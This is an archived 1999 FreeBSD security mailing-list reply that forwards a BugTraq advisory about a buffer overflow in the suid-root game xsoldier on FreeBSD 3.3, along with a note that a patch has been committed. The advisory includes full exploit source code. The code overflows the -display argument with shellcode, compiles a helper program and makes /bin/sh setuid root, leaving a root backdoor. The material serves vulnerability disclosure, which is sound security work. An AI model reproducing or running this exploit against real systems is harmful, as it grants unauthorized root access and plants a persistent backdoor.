Skip site navigation (1)Skip section navigation (2)
Date:      Thu, 16 Dec 1999 00:11:21 -0500 (EST)
From:      Spidey <beaupran@iro.umontreal.ca>
To:        Chris England <cengland@obscurity.org>
Cc:        freebsd-security@FreeBSD.ORG
Subject:   Re: From BugTraq - FreeBSD 3.3 xsoldier root exploit (fwd)
Message-ID:  <14424.29817.586093.109020@anarcat.dyndns.org>
References:  <Pine.BSO.4.10.9912152030130.29021-100000@obscurity.org>

next in thread | previous in thread | raw e-mail | index | archive | help
A patch has been commited today in the ports collection. I have not
tested either of the patched and un-patched proggies... 

The AnarCat

--- Big Brother told Chris England to write, at 20:36 of December 15:
> I personally have not tested this. I'm not too big on games, but I would
> recommend anyone who has this game installed suid-root to test the snippet
> code against it and post the results to this list.
> 
> Cheers,
> 			-Chris England
> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 15 Dec 1999 17:11:36 MST
> From: Brock Tellier <btellier@USA.NET>
> To: BUGTRAQ@SECURITYFOCUS.COM
> Subject: FreeBSD 3.3 xsoldier root exploit
> 
> Greetings,
> 
> OVERVIEW
> A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root
> access.  This user does not have to have a valid $DISPLAY to exploit this.
> 
> BACKGROUND
> Only FreeBSD 3.3-RELEASE has been tested.  xsoldier, suid-root by default, was
> installed as part of the X11 games packages via /stand/sysinstall.
> 
> DETAILS
> More problems with FreeBSD 3.3 ports.  This time with xsoldier, a suid-root
> game.  A simple overflow in the -display option allows any user to gain root. 
> Although xsoldier only runs under X, a long -display arg on the CL will allow
> us to gain root.
> 
> --- xsoldierx.c ---
> /* 
>  * xsoldier exploit for Freebsd-3.3-RELEASE
>  * Drops a suid root shell in /bin/sh
>  * Brock Tellier btellier@usa.net
>  */
> 
> 
> #include <stdio.h>
> 
> char shell[]= /* mudge@l0pht.com */
>   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
>    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
>    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
>    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
> 
> #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
> 
> void buildui() {
> FILE *fp;
>   char cc[100];
>   fp = fopen("/tmp/ui.c", "w");
>   fprintf(fp, CODE);
>   fclose(fp);
>   snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
>   system(cc);
> }
> 
> main (int argc, char *argv[] ) {
>  int x = 0;
>  int y = 0;
>  int offset = 0;
>  int bsize = 4400;
>  char buf[bsize];
>  int eip = 0xbfbfdb65; /* works for me */
>  buildui();
> 
>  if (argv[1]) { 
>    offset = atoi(argv[1]);
>    eip = eip + offset;
>  }
>  fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
> <btellier@usa.net>\n");
>  fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
>  fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
>  
>  for ( x = 0; x < 4325; x++) buf[x] = 0x90;
>      fprintf(stderr, "NOPs to %d\n", x);
>  
>  for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
>      fprintf(stderr, "Shellcode to %d\n",x);
>   
>   buf[x++] =  eip & 0x000000ff;
>   buf[x++] = (eip & 0x0000ff00) >> 8;
>   buf[x++] = (eip & 0x00ff0000) >> 16;
>   buf[x++] = (eip & 0xff000000) >> 24;
>      fprintf(stderr, "eip to %d\n",x);
> 
>  buf[bsize]='\0';
> 
> execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);
> 
> }
> 
> -------
> 
> Brock Tellier
> UNIX Systems Administrator
> Chicago, IL, USA
> btellier@usa.net
> 
> ____________________________________________________________________
> Get free email and a permanent address at http://www.netaddress.com/?N=1
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

-- 
Si l'image donne l'illusion de savoir
C'est que l'adage pretend que pour croire,
L'important ne serait que de voir

Lofofora


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?14424.29817.586093.109020>